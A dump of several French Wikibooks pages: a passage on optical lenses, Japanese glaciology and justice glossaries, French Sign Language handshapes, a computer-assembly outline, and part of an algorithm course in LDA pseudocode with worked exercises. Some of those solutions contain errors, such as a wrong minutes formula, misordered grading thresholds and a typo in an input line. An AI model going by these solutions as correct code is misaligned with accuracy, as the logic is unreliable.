semble également mentionner l'usage de verres correcteurs. On connaît la réputation qu'avait Néron, probablement myope, de regarder les combats de gladiateurs à travers une émeraude taillée en creux. Le célèbre savant et mathématicien arabe Alhazen (965-1038) nous a laissé le premier grand traité d'optique décrivant, entre autres, l'œil humain formant une image sur la rétine. La fabrication de lentilles en grandes quantités a commencé avec l'invention des lunettes qui s'est produite, pense-t-on, en Italie à la fin du XIIIe siècle. == Différentes sortes de lentilles == Les lentilles convergentes sont plus épaisses au centre qu'au bord, c'est bien sûr l'inverse pour les lentilles divergentes. Selon la disposition des surfaces utilisées, on distingue : * pour les lentilles convergentes, les lentilles biconvexes '''a''', les lentilles plan-convexes '''b''' et les ménisques convergents '''c'''. * pour les lentilles divergentes , les lentilles biconcaves '''d''', les lentilles plan-concaves '''e''' et les ménisques divergents '''f''' [[Image:Lentilles.png|400px]] Une lentille est dite '''mince''' lorsque la distance qui sépare les deux sommets est petite devant les rayons de courbure des dioptres. On considère alors que les deux sommets sont pratiquement confondus en un même point que l'on appelle '''centre optique'''. On a pris l'habitude d'utiliser les deux schémas ci-dessous pour représenter les lentilles minces, '''g''' pour les lentilles convergentes et '''h''' pour les lentilles divergentes. [[Image:Schéma des lentilles minces.png|150px]] {{EnTravaux}} Japonais:Vocabulaire Glaciologie 5058 40848 2006-04-24T15:06:32Z 82.66.8.62 Retour à la [[Table des matières (Japonais)|table des matières]]. {| {{prettytable}} ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Ablation | [[wikipedia:ja:侵食|侵食]] | しんしょく | ''shinshoku'' |- | Accumulation | [[wikipedia:ja:堆積|堆積]] | たいせき | ''taiseki'' |- | Albedo | --- | アルベド | ''arubedo'' |- | Arctique | [[wikipedia:ja:北極|北極]] | ほっきょく | ''hokkyoku'' |- | Océan arctique | [[wikipedia:ja:北極海|北極海]] | ほっきょくかい | ''hokkyokukai'' |- | Antarctique | [[wikipedia:ja:南極|南極]] | なんきょく | ''nankyoku'' |- | Avalanche | [[wikipedia:ja:雪崩|雪崩]] | なだれ | ''nadare'' |- | Glissement | [[wikipedia:ja:底面すべり|底面すべり]] | ていめんすべり | ''teimensuberi'' |- | Lit de pierre (lit de glacier?) | [[wikipedia:ja:基盤岩|基盤岩]] | きばんがん | ''kibangan'' |- | Dioxide de carbone | [[wikipedia:ja:二酸化炭素|二酸化炭素]] | にさんかたんそ | ''nisankatanso'' |- | Tunnel | [[wikipedia:ja:水路|水路]] | すいろ | ''suiro'' |- | ?clathrate hydrate? | --- | クラスレートハイドレート | ''kurasurētohaidorēto'' |- | Climat | [[wikipedia:ja:気候|気候]] | きこう | ''kikō'' |- | noyau (core) | --- | コア | ''koa'' |- | ?creep? | --- | クリープ | ''kurīpu'' |- | Crevasse | --- | クレバス | ''kurebasu'' |- | Cryosphere | [[wikipedia:ja:寒冷圏|寒冷圏]] | かんれいけん | ''kanreiken'' |- | Crystal | [[wikipedia:ja:結晶|結晶]] | けっしょう | ''kesshō'' |- | Déformation | [[wikipedia:ja:塑性変形|塑性変形]] | そせいへんけい | ''sosei-henkei'' |- | Densitée | [[wikipedia:ja:密度|密度]] | みつど | ''mitsudo'' |- | Glace dérivante | [[wikipedia:ja:流氷|流氷]] | りゅうひょう | ''ryūhyō'' |- | poussière | --- | ダスト | ''dasuto'' |- | Érosion | [[wikipedia:ja:侵食|侵食]] | しんしょく | ''shinshoku'' |- | firn | --- | フィルン | ''firun'' |- | Glacier | [[wikipedia:ja:氷河|氷河]] | ひょうが | ''hyōga'' |- | Glaciologie | [[wikipedia:ja:雪氷学|雪氷学]] | せっぴょうがく | ''seppyōgaku'' |- | Groenland | --- | グリーンランド | ''gurīnrando'' |- | conductivité de la chaleur | [[wikipedia:ja:熱伝導|熱伝導]] | ねつでんどう | ''netsudendō'' |- | flux de chaleur | [[wikipedia:ja:熱フラックス|熱フラックス]] | ねつふらっくす | ''netsufurakkusu'' |- | Glace | [[wikipedia:ja:氷|氷]] | こおり | ''kōri'' |- | Iceberg | [[wikipedia:ja:氷山|氷山]] | ひょうざん | ''hyōzan'' |- | Cap de glace | [[wikipedia:ja:氷帽|氷帽]] | ひょうぼう、アイスキャップ | ''?'' |- | Banquise | [[wikipedia:ja:氷床|氷床]] | ひょうしょう | ''hyōshō'' |- | Calotte polaire (ice shelf) | [[wikipedia:ja:棚氷|棚氷]] | たなごおり | ''tanagōri'' |- | modèl | --- | モデル | ''moderu'' |- | moraine | ? | モレーン、堆石 | ''?'' |- | Montagne | [[wikipedia:ja:山|山]] | やま | ''yama'' |- | effort normal | [[wikipedia:ja:垂直応力|垂直応力]] | すいちょくおうりょく | ''suichoku ouryoku'' |- | Pluie | [[wikipedia:ja:雨|雨]] | あめ | ''ame'' |- | Mer de glace | [[wikipedia:ja:海氷|海氷]] | かいひょう | ''kaihyō'' |- | Sediment | [[wikipedia:ja:堆積物|堆積物]] | たいせきぶつ | ''taisekibutsu'' |- | effort de cisaillement | [[wikipedia:ja:剪断応力|剪断応力]] | せんだんおうりょく | ''sendan-ouryoku'' |- | Simulation | --- | シミュレーション | ''shimyurēshon'' |- | Neige | [[wikipedia:ja:雪|雪]] | [[wikipedia:ja:ゆき | ''yuki'' |- | Océan méridional | [[wikipedia:ja:南極海|南極海]] | なんきょくかい | ''nankyokukai'' |- | Chaleur spécifique | [[wikipedia:ja:比熱|比熱]] | ひねつ | ''hinetsu'' |- | État d'équilibre | [[wikipedia:ja:定常状態|定常状態]] | ていじょうじょうたい | ''teijou joutai'' |- | Contrainte | [[wikipedia:ja:歪|歪]] | ゆがみ | ''ゆがみ'' |- | Taux de contrainte | [[wikipedia:ja:歪み速度|歪み速度]] | ゆがみそくど | ''yugami sokudo'' |- | Temperature | [[wikipedia:ja:温度|温度]] | おんど | ''ondo'' |- | Variabilité | [[wikipedia:ja:変動|変動]] | へんどう | ''hendō'' |- | Vitesse | [[wikipedia:ja:速度|速度]] | そくど | ''sokudo'' |- | Eau | [[wikipedia:ja:水|水]] | みず | ''mizu'' |- | Temps | [[wikipedia:ja:天気|天気]] | てんき | ''tenki'' |- |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[en:Japanese:Vocabulary:Glaciology]] [[Catégorie:Glossaires_de_Japonais]] Assemblage d'un ordinateur 5059 39409 2006-04-01T15:45:15Z Greudin 1 /* '''Assemblage d'un ordinateur''' */ s/photo/schema ='''Assemblage d'un ordinateur'''= [[Image:Personal computer, exploded 5, unlabeled.svg|400px|center|Châssis d'ordinateur schématisé]] <!--[[Image:Mycomputer.jpg|400px|center|Châssis d'ordinateur ouvert]]--> L''''assemblage d'un ordinateur''' est une expérience enrichissante. Vous en apprendrez plus concernant le [[w:matériel informatique|matériel informatique]] en assemblant votre ordinateur qu'en lisant la plupart des guides techniques. L'avantage de cette démarche est l'obtention finale d'une machine personnalisée en ayant économisé de l'argent. ''NB : Ce livre a pour ambition d'expliquer l'assemblage d'un ordinateur en général, mais il se peut que certaines opérations ne soient appliquables qu'aux [[w:Compatible PC|ordinateurs compatibles IBM PC]]''. ==Table des matières== :[[Assemblage d'un ordinateur|Couverture]][[Image:9von10.png]] #[[Assemblage d'un ordinateur/Choix matériel|Choix matériel (pièces)]][[Image:1von10.png]] #[[Assemblage d'un ordinateur/Procédure d'assemblage|Procédure d'assemblage]][[Image:1von10.png]] #[[Assemblage d'un ordinateur/Choix logiciel|Choix logiciel (système d'exploitation, applications)]][[Image:1von10.png]] #[[Assemblage d'un ordinateur/Optimisation|Optimisation (performances, rationalisation)]] [[Image:1von10.png]] #[[Assemblage d'un ordinateur/Dépannage|Dépannage]] [[Image:1von10.png]] #[[Assemblage d'un ordinateur/Personnalisation|Personnalisation cosmétique (''tuning'')]] [[Image:1von10.png]] <!--[[Image:Casemodding microwave.JPG|right|200px|Ordinateur dans un micro-onde]]--> [[en:How To Build A Computer]] LSF/Configurations 5060 19865 2005-08-23T12:56:14Z Kowey 113 {{LSF navigation}} Il exite plusieurs types de '''configurations'''. On peut classer les signes par ces différents types de configurations. Une même configuration peut être utilisée pour plusieurs '''signes'''. Le sens diffère en fonction de '''l'orientation''', '''du déplacement''' et de '''la place''' que donne le signeur à cette configuration. ===Configurations venant de l' [[LSF/Dactylologie|alphabet dactylologique]]=== * [[LSF/configuration A|configuration A]] * [[:Image:LSF_LettreB.jpg|B]] pour [[LSF/Vocab/bleu]] * [[:Image:LSF_LettreC.jpg|C]] * [[:Image:LSF_LettreD.jpg|D]] pour [[LSF/Vocab/dimanche]], [[LSF/Vocab/décembre]] * [[:Image:LSF_LettreE.jpg|E]] pour [[LSF/Vocab/mercredi]] * [[:Image:LSF_LettreF.jpg|F]] pour [[LSF/Vocab/frère]] * [[:Image:LSF_LettreG.jpg|G]] * [[:Image:LSF_LettreH.jpg|H]] * [[:Image:LSF_LettreI.jpg|I]] pour [[LSF/Vocab/idée]], [[LSF/Vocab/imaginer]], [[LSF/Vocab/qui?]]... * [[:Image:LSF_LettreJ.jpg|J]] pour [[LSF/Vocab/jeudi]], [[LSF/Vocab/juillet]], [[LSF/Vocab/jouer]]... * [[:Image:LSF_LettreK.jpg|K]] pour [[LSF/Vocab/blague]], [[LSF/Vocab/mon]], [[LSF/Vocab/ton]], [[LSF/Vocab/son]] * [[:Image:LSF_LettreL.jpg|L]] pour [[LSF/Vocab/lundi]] * [[:Image:LSF_LettreM.jpg|M]] (voir B) * [[:Image:LSF_LettreN.jpg|N]] pour [[LSF/Vocab/non]], [[LSF/Vocab/novembre]] * [[:Image:LSF_LettreO.jpg|O]] * [[:Image:LSF_LettreP.jpg|P]] * [[:Image:LSF_LettreQ.jpg|Q]] * [[:Image:LSF_LettreR.jpg|R]] pour [[LSF/Vocab/repos]], [[LSF/Vocab/retraite]], [[LSF/Vocab/raison]], [[LSF/Vocab/rêve]] * [[:Image:LSF_LettreS.jpg|S]] pour [[LSF/Vocab/samedi]] * [[:Image:LSF_LettreT.jpg|T]] * [[:Image:LSF_LettreU.jpg|U]] (voir N) * [[:Image:LSF_LettreV.jpg|V]] pour [[LSF/Vocab/vendredi]], [[LSF/Vocab/vacances]] * [[:Image:LSF_LettreW.jpg|W]] * [[:Image:LSF_LettreX.jpg|X]] pour [[LSF/Vocab/vert]], [[LSF/Vocab/taxi]] * [[:Image:LSF_LettreY.jpg|Y]] pour [[LSF/Vocab/vache]], [[LSF/Vocab/toilettes]] * [[:Image:LSF_LettreZ.jpg|Z]] pour [[LSF/Vocab/respect]] ===Configurations "pouce"=== ===Configurations "index"=== ===Congigurations "bec=== * bec oiseau ouvert * bec oiseau fermé * bec de canard ouvert * bec de canard fermé * bec oie ouvert * bec oie fermé * bec oie rond ===Configurations "pince"=== ===Exercices=== * Choisir une '''configuration''' et essayer de trouver le plus rapidement possible le maximum de signes qui lui correspondent. [[Category:LSF/Configurations]] [[Category:LSF/Vocabulaire]] Configurations 5062 19717 2005-08-21T15:04:43Z Clairette 219 Configurations déplacé vers LSF/Configurations: car il s'agit du wikilivre sur la LSF !!! #redirect [[LSF/Configurations]] Catégorie:LSF/Configurations 5063 19720 2005-08-21T15:10:54Z Clairette 219 Vous trouverez dans cette catégorie toutes les différentes configurations de la main que l'on peut trouvé en [[LSF]]. Les sens d'une même configuration peuvent varier en fonction de l'endroit où le signeur place cette configuration. LSF/configuration A 5064 19741 2005-08-21T15:59:16Z Clairette 219 {{LSF navigation}} [[Image:LSF_LettreA.jpg|150px||thumb]] Une même configuration peut être utilisée pour plusieurs '''signes'''. Le sens diffère en fonction de '''l'orientation''', '''du déplacement''' et de '''la place''' que donne le signeur à cette configuration. ===Vocabulaire=== * [[LSF/Vocab/mardi]] ===Voir aussi=== * la page sur les différents types de [[LSF/Configurations|configurations]]. [[Category:LSF/Configurations]] Assemblage d'un ordinateur/Choix matériel 5066 19752 2005-08-21T19:08:04Z Greudin 1 éb intro d'après en: ={{PAGENAME}}= Avant d'acheter quoique ce soit, interrogez-vous sur les points suivants : #À quelle utilité ce nouvel ordinateur sera t'il destiné ? #Quelles sont les pièces recyclables depuis l'ancien ordinateur ? ##Doit-on ''vampiriser'' l'ancien ordinateur ? ##Ne risque t'on pas de ralentir le nouvel ordinateur avec des pièces trop anciennes ? Japonais:Vocabulaire Justice 5067 37661 2006-03-15T03:53:01Z 213.103.39.56 correction "bengoshi" = avocat Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | La loi | [http://ja.wikipedia.org/wiki/%E6%B3%95%E5%BE%8B 法律] | ほうりつ | ''hōritsu'' |- | Criminologie | [http://ja.wikipedia.org/wiki/%E7%8A%AF%E7%BD%AA%E5%AD%A6 犯罪学] | はんざいがく | ''hanzaigaku'' |- | Avocat | [http://ja.wikipedia.org/wiki/%E5%BC%81%E8%AD%B7%E5%A3%AB 弁護士] | べんごし | ''bengoshi'' |- | La cour | [http://ja.wikipedia.org/wiki/%E8%A3%81%E5%88%A4%E6%89%80 裁判所] | さいばんしょ | ''saibanshyo'' |- | Cour suprême | [http://ja.wikipedia.org/wiki/%E6%9C%80%E9%AB%98%E8%A3%81%E5%88%A4%E6%89%80 最高裁判所] | さいこうさいばんしょ | ''saikōsaibanshyo'' |- | Droit de l'homme | [http://ja.wikipedia.org/wiki/%E4%BA%BA%E6%A8%A9 人権] | じんけん | ''zinken'' |- | Crime | [http://ja.wikipedia.org/wiki/%E7%8A%AF%E7%BD%AA 犯罪] | はんざい | ''hanzii'' |- | Fraude | [http://ja.wikipedia.org/wiki/%E8%A9%90%E6%AC%BA 詐欺] | さぎ | ''sagi'' |- | Vol à l'étalage | [http://ja.wikipedia.org/wiki/%E4%B8%87%E5%BC%95%E3%81%8D 万引き] | まんびき | ''manbiki'' |- | Harcèlement sexuel | --- | [http://ja.wikipedia.org/wiki/%E3%82%BB%E3%82%AF%E3%83%8F%E3%83%A9 セクシャルハラスメント] | ''sekutsuyaruharasumento'' |- | Viol | [http://ja.wikipedia.org/wiki/%E5%BC%B7%E5%A7%A6 強姦] | ごうかん | ''gōkan'' |- | Suspect | [http://ja.wikipedia.org/wiki/%E8%A2%AB%E7%96%91%E8%80%85 被疑者] | ひぎしゃ | ''higishya'' |- | Arrestation | [http://ja.wikipedia.org/wiki/%E9%80%AE%E6%8D%95 逮捕] | たいほ | ''taiho'' |- | Bail (anglais) | [http://ja.wikipedia.org/wiki/%E4%BF%9D%E9%87%88 保釈] | ほしゃく | ''hoshyaku'' |- | Sanction financière | [http://ja.wikipedia.org/wiki/%E7%BD%B0%E9%87%91 罰金] | ばっきん | ''batsukin'' |- | Peine capitale | [http://ja.wikipedia.org/wiki/%E6%AD%BB%E5%88%91 死刑] | しけい | ''shikei'' |- |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary:Law]] Programmation LDA 5068 45421 2006-06-22T20:22:07Z Zulul 474 /* Liens externes */ {{ébauche}} {{catégorie:programmation}} Le but de ce cours est d'étudier comment on peut résoudre un problème en utilisant le '''Langage de Description des Algorithmes''' suivant l'approche '''Bertini et Tallineau'''. Il va donc falloir étudier les principes fondamentaux de la programmation, base valable quelque soit le langage utilisé. Pour pouvoir résoudre un problème et transposer la solution sur ordinateur, il est nécessaire de passer par différentes étapes. Dans un premier temps, il va falloir effectuer une analyse du problème. Lorsque cette analyse est terminée, il faut l'adapter à l'ordinateur en traduisant l'analyse en une suite d'actions plus ou moins élémentaires. === L'algorithme === Un algorithme est un ensemble de règles opératoires propres à un calcul ou l'enchainement des actions nécessaires à l'accomplissement d'une tâche. Un algorithme est un procédé reprenant un ensemble de suites élémentaires d'actions à exécuter afin de résoudre un problème à partir des données de départ et d'arriver à un résultat final déterminé. L'algorithme est indépendant des langages de programmation : si vous prenez une méthode de tri d'un tableau, par exemple le tri bulle, vous pouvez l'écrire dans la plupart des langages de programmation usuels. L'algorithmique va donc s'attacher à l'étude de différentes méthodes permettant de résoudre un problème donné sans tenir compte des particularités de tel ou tel langage de programmation. A ce titre l'algorithmique se veut universelle.<br/> Le schéma usuel de résolution d'un problème sera donc :<br/> Problème à résoudre (Données à traiter) --> Algorithme --> Implémentation dans un langage de programmation ->Résultat final<br/> Il est possible de décrire un algorithme de différente manière : * Représentation grâce aux arbres programmatiques. * LDA : Langage descriptif des algorithmes. Il n'existe pas hélas de langages de description des algorithmes universellement reconnus. Nous proposerons ici une syntaxe particulière, qui ressemble aux langages algorithmiques usuellement utilisés. ===Analyse du problème=== Avant de résoudre un problème, il faut l'analyser avec précision. Cette réflexion passe par certaines étapes incontournables : *'''Définition du problème :'''<br/> On ne peut pas résoudre un problème si on ne l'a pas défini précisément ! Il faut donc fixer le plus clairement possible les différentes fonctionnalités du programme. *'''Spécification des résultats : ''' Il faut définir les différentes étapes de notre programme depuis la saisie des données jusqu'à l'affichage du résultat. On peut définir un prototype qui décrira point par point comment doit fonctionner notre programme. *'''Définition des données de base : ''' <br/> Avant de résoudre le problème, il faut définir la nature des dfférentes données que manipulera notre programme. *'''Analyses des données : '''<br/> Il faut définir ici quelles sont les données au point de départ et quelles données doivent être sauvegardées. *'''Recherche d'une solution : ''' <br/> C'est la phase technique où il faut proposer une méthode pratique permettant de résoudre notre problème. ===Les arbres programmatiques (AP)=== Cette méthode permet de représenter en arbre structuré les différents algorithmes du programme. Le programme (racine de l'arbre) peut se décomposer en sous-programmes (sous niveaux) toujours organisés en deux parties: *Les Déclarations (variables et constantes - DONNEES) *Les Instructions (traitements sur les données - OPERATIONS) Les AP structurent le programme qui comprend : :*Variables :*Tests :*Boucles Le test fait l'objet d'un noeud en fonction d'une condition booléenne (True/False). * La structure permet de distribuer le travail. :Struct=#Noeud+#Racine * Le traitement comprends les instructions. :Traitements=#Feuilles [[Image:arbreprogram.gif]] <small>D- : Début</small> // <small>F- : Fin</small> // <small>T : Traitement</small> // <small>I : Instruction intermédiaire</small> Au niveau 0, le programme (prg) est ici initialisé de droite à gauche entre les blocs de début (D-Prog) et de fin (F-Prog) et se hiérarchise en sous prg et itérations en descendant dans les niveaux (couches). AP définit la structure logique du programme et l'ordre d'execution des traitements. On instruit les feuilles de haut en bas (Niveau 0 -> ...) et de droite à gauche. On a donc : *<b>STRUCTURE</b> :Prog :T1 :T4 :T5 :T7 *<b>TRAITEMENT:</b> :D-T1 :D-T5 :D-T7 :T9 :F-T7 :T8 :F-T5 :F-T1 :T2 :I1 :T3 :D-T4 :T6 :F-T4 :F-Prog ==LES DECLARATIONS== Tout algorithme comprend deux parties : * une partie déclaration * une partie instruction Bloc - declaration - instruction FBloc Un algorithme va utiliser des variables. Une variable peut être vue comme une zone mémoire réservée permettant de stocker une valeur. Toute variable utilisé dans la partie « instruction » de l'algorithme doit faire l'objet d'une déclaration préalable. La phase de déclaration doit s'accompagner d'une réflexion sur les données manipulées par notre algorithme. Quelle sera leur nature précise ? Leur valeur sera-t-elle variable ? Loin d'être une contrainte, la phase de déclaration est une aide pour guider le programmeur dans sa réflexion. ===Les constantes=== Une constante permet d'attribuer un nom à une valeur ou une expression fixe relativement complexe à retranscrire ou relativement longue. Elle permet également une meilleure lisibilité du code. La déclaration d'une constante permet une modification simplifiée d'une valeur reprise à maintes reprises au sein du code. L'utilisation des constante permettra d'améliorer la lisibilité de notre algorithme et sa généralisation. ====Déclaration des constantes==== Pour déclarer une constante on utilise le mot réservé CONST. La synthaxe générale de cette déclaration se présente sous la forme : CONST identificateur = valeur CONST pi = 3.14 CONST ttl = "Message à afficher régulièrement" CONST oui=Vrai CONST résu=pi*2+5*(15+4) Pour des raisons de facilté il est préférable d'utiliser des noms de constantes plus ou moins courts et représentatifs de leur contenu. Il est possible d'utiliser des déclarations multiples. CONST pi=3.14 ttl="Message à afficher" oui=Vrai résu=pi*2+5*(5+4) ===Les variables=== Une variable est une zone reservée de la mémoire permettant de stocker une valeur. Pour atteindre cette zone mémoire on lui attribue un nom. La valeur ainsi stockée par la variable pourra être modifiée au cours de l'execution du code. Pour pouvoir reserver la place nécessaire à la valeur, il va falloir déclarer le type du contenu et éventuellement sa taille. ====Déclaration==== Pour déclarer une variable on utilise le mot réservé de VAR. La synthaxe générale de cette déclaration se présente sous la forme. VAR identificateur : type Identificateur représente le nom que l'on attribue à la variable. Type permet de spécifier l'ensemble des valeurs dans lequel la valeur de la variable pourra varier. Il permet également de déterminer la dimension de la zone mémoire à réserver et le type d'opérations que pourra supporter la valeur. On peut classer les différents types en catégories. Ainsi on parle de type primitif, il s'agit d'un type qui existe de fait avec le language de programmation, il est défini en même temps que le language. On parle également de type scalaire, il s'agit d'un type qui possède un précédent (hormis la première valeur qui est la plus petite et un suivant hormis la dernière valeur qui est la plus grande) et est représentée ou codée par un entier dans la machine. Ascii ( a chaque char correspond une valeur numérique) A=65 B=66 ... a=97 b=98 13->Numérique (1 bit) 13->Alphanumérique (2 bits) |1|3| = 49 & 51 2^16=65536 -> 2 bytes = word 4 byte=2^32+-4.10^9 -> double word 8 bytes=2^64 variable=zone mémoire allouée ====Les types de variables==== On dispose de quatres types primitifs, tous ordonnés mais dont 3 sont scalaires et 1 non. *Scalaire : On trouve suivant ou precedant (ex.: 5,6,7,...) *Primitif : On trouve le plus petit ou le plus grand (ex.: 5,78 < 19,72) *ENTIER (scalaire - primitif) // Var Max : Entier *REEL (non scalaire - primitif) // Var Point : Reel *CARACTERE (scalaire - primitif) // Var Initiale : Caractere *BOOLEEN (scalaire - primitif) // Var Reussi : Booleen *ALPHANUMERIQUE (chaine de ¢) // Var Message : Alphanumerique ==Premières notions== *'''La lecture''' La lecture d'une variable permet à l'utilisateur de saisir une valeur et de la stocker dans une variable. Var Age : Entier Entrer Age Dans cet exemple, l'utilisateur tapera sur le clavier la valeur d'un entier et cette valeur sera stockée dans la variable Age. *'''L'ecriture''' L'écriture permet d'afficher un message à l'écran à destination de l'utilisateur de l'algorithme. Ecrire "Texte à afficher" Ecrire Nom," ",Prenom," ",Age *'''L'affectation''' L'affectation permet d'effectuer un calcul et de stocker le résultat de ce calcul dans une variable. <br/> <br/> '''Syntaxe :''' identificateur <- expression '''Sémantique :'''<br/> On commence par évaluer l'expression et on stocke le résultat dans la variable. <br/><br/> '''Exemple : ''' Var Valeur : Entier Valeur<-15 Valeur<-19 Valeur<-Valeur*3 Valeur=19*3 Ecrire Valeur '''Exécution de l'algorithme : '''<br/> Notre programme affiche :<br/> 57 *'''La concatenation''' Voyelle<-'a' Phrase<-"Voici une voyelle:" Phrase<-Phrase+Voyelle Ecrire Phrase >Voici une voyelle:a *'''Les commentaires''' Les commentaires sont des explications destinés à un programmeur qui lit l'algorithme et lui permettent de mieux le comprendre. !Texte du commentaire! ==OPERATEURS== * Mathematiques :^ puissance :<nowiki>*</nowiki> multiplication :/ division entiere :mod modulo * Relationnels (booleens) :<nowiki>=</nowiki> < > <= >= <> * Logiques :non et ou ===exercices=== <b>? Calculez le prix à payer en fonction de la quantité et du prix unitaire sachant que le taux de TVA est de 19%<b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :Introduire les QT :Introduire le Prix unitaire :Calculer le prix :Afficher le resultat Algo: BLOC ! DECLARATION ! const tva=0.19 var qt, pu : reel ! INSTRUCTION ! ecrire "quantité désirée ?" entrer qt ecrire "prix unitaire ?" entrer pu ecrire "total à payer : ", pu*qt*(1+tva) FBLOC }} <b>? Calculer surface et volume d'une sphère dont le rayon est introduitpar l'utilisateur</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :introduire rayon :calc surf et vol :afficher Algo: BLOC const pi=3.1415 var rayon : reel ecrire "entrer rayon ?" entrer rayon ecrire "surface :",4*pi*rayon^2 ecrire "volume :",4/3.0*pi*rayon^3 !4/3.0 <- .0 pour sortie du reel! FBLOC }} <b>? Calculer le laps de temps en seconde écoulé entre deux horaires exprimés en heure, en minute et en seconde</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :intro de deux horaire :conversion en secondes :calc de dif :sortie res Algo: BLOC const t1=3600 t2=60 var h1,m1,s1,h2,m2,s2 : entier ecrire "entrer h1" entrer h1,m1,s1 ecrire "entrer h2" entrer h2,m2,s2 s1<-s1+m1*t2+h1*t1 s2<-s2+m2*t2+h2*t1 ecrire "laps : ",s2-s1 FBLOC }} <b>? Introduire deux nombres et les permuter</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :intro nbr :permute :sortie res Algo: BLOC var n1,n2,n3 : reel ecrire "les nombres ?" entrer n1,n2 n3<-n2 n2<-n1 n1<-n3 ecrire "apres permute :",n1," ",n2 FBLOC }} <b>? Introduire 3 nombres et afficher la somme, la différence et le produit</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :input :calc Algo: BLOC var n1,n2,n3 : entier ecrire "n1 n2 n3 ?" entrer n1,n2,n3 ecrire "somme de ",n1," et ",n2," et ",n3," = ", n1+n2+n3 ecrire "diffe de ",n1," et ",n2," et ",n3," = ", n1-n2-n3 ecrire "multi de ",n1," et ",n2," et ",n3," = ", n1*n2*n3 FBLOC }} <b>? Introduire une somme en franc belge et la convertir en euro</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :intro montant :calc :sortie Algo: BLOC const eur=40.3399 var montant : reel ecrire "montant fb ?" entrer montant ecrire "conversion", montant/eur FBLOC }} <b>? Calculer le déterminant d'une equation du second degre</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :intro des coefficients a,b,c :calc :sortie Algo: BLOC var a,b,c : entier ecrire "intro a,b,c ?" entrer a,b,c ecrire "discriminant (?)",b^2-4*a*c FBLOC }} <b>? Introduire une valeur representant des secondes et les convertir en heure, minutes, secondes</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :intro :convertion :sortie Algo: BLOC var d1 : entier ecrire "nbr sec ?" entrer d1 ecrire d1," sec ",d1/3600,"h",(d1/3600)/60,"m",d1 mod 60,"s" FBLOC }} <b>? On desir etablir un prg permettant de calculer le nombre de rouleaux de papier peint necessaire pour tapisser une piece. Les dimensions d'un rouleau sont de 10m sur 95cm, sachant qu'une porte mesure 2m5 sur 80cm et qu'une fenetre mesure 1m40 sur 1m. Sachant qu'on estime à 5% les chutes non reutilisables. Etablissez le programme permettant à l'utilisateur d'introduire les dimensions ainsi que le nombre de portes et fenetres</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :intro nbr de portes et fen :intro hauteur, longueur, largeur :calc de surface tapissable :calc nbr rouleaux :sortie res Algo: BLOC const fen=140*100 const por=250*80 const rou=(1000*95)*0.95 var ha,lo,la : reel var np,nf : entier ecrire "nbr de portes et fen" entrer np,nf ecrire "dimensions ha,lo,la ?" entrer ha,lo,la ecrire "nbr de rouleaux",(2*ha*(la+lo)-np*por-nf*fen)/rou FBLOC }} ==LES STRUCTURES DE CONTROLE== Sequence = suite ordonnee d'instructions (noeud ou feuille) [[Image:iterations.gif]] === Alternative === Si condition Alors -sequence Sinon -sequence Fsi *Plusieurs branches Selon que condition 1 Faire -sequence condition 2 Faire -sequence consition 3 Faire -sequence autrement Faire -sequence FSelon On test le contenu d'une variable et en fonction de ses valeurs, dès qu'une condition est realisee on quitte l'alternative. [[image:AltMul.gif]] ====exercices==== <b>? Introduire 2 nombres et les afficher dans l'ordre croissant</b> {{Boîte déroulante|titre= :: solution :: |contenu = Anal: :intro a,b :si a<b afficher a et b sinon afficher b et a Algo: <pre> BLOC var n1,n2 : entier ecrire "n1,n2 ?" entrer n1,n2 ecrire "par ordre croissant" si n1<n2 alors ecrire n1," ",n2 sinon ecrire n2," ",n1 fsi FBLOC </pre> }} <b>? Introduire deux horaires en H/M/S et afficer dans l'ordre croissant</b> {{Boîte déroulante|titre= :: solution :: |contenu = <pre> BLOC var h1,h2,m1,m2,s1,s2 : entier ecrire "intro horaire 1 et 2 (h,m,s)" entrer h1,m1,s1 entrer h2,m2,s2 si h1>h2 ou ((h1=h2)et(m1>m2)ou((h1>h2)et(m1=m2)et(s1>s2)) Alors ecrire h2,m2,s2," ",h1,m1,s1 sinon ecrire h1,m1,s1," ",h2,m2,s2 fsi FBLOC </pre> }} <b>? Introduire la date de naissance d'une personne et date actuelle et sortir son age</b> {{Boîte déroulante|titre= :: solution :: |contenu = <pre> BLOC var jn,mn,an,ja,ma,aa : entier age ecrire "date naissance (jn/mn/an) ?" entrer jn,mn,an ecrire "date actu (ja/ma/aa) ?" entrer ja,ma,aa age<-aa-an si (mn>ma) ou ((mn = ma) et (jn>ja)) Alors age<-age-1 fsi ecrire "vous avez ",age si age >1 Alors ecrire "ans" sinon ecrire "an" fsi FBLOC </pre> }} <b>? En fonction d'un resultat introduit afficher la mention obtenue</> {{Boîte déroulante|titre= :: solution :: |contenu = <pre> BLOC var resu : entier ecrire "quel est le resultat ?" entrer resu selon que resu < 50 faire ecrire "mention Echec" resu < 60 faire ecrire "mention Fruit" resu < 70 faire ecrire "mention Satisfaction" resu < 80 faire ecrire "mention Distinction" resu < 90 faire ecrire "mention Grande distinction" resu <= 100 faire ecrire "resultat erroné" Fselon FBLOC </pre> }} <b>? On demande d'introduire 2 nombres entiers ainsi qu'un operateur (+,-,*,/,^,m). Afficher le resultat</b> {{Boîte déroulante|titre= :: solution :: |contenu = <pre> BLOC var a,b : entier op : caractere ecrire "intro deux entiers" entrer &,b ecrire "quel est l'operateur (+ - * / m) entrer op selon que op = '+' faire ecrire a,"+",b,"=",a+b op='-' faire ecrire a-b op='*' faire ecrire a*b op='m' ou op='/' 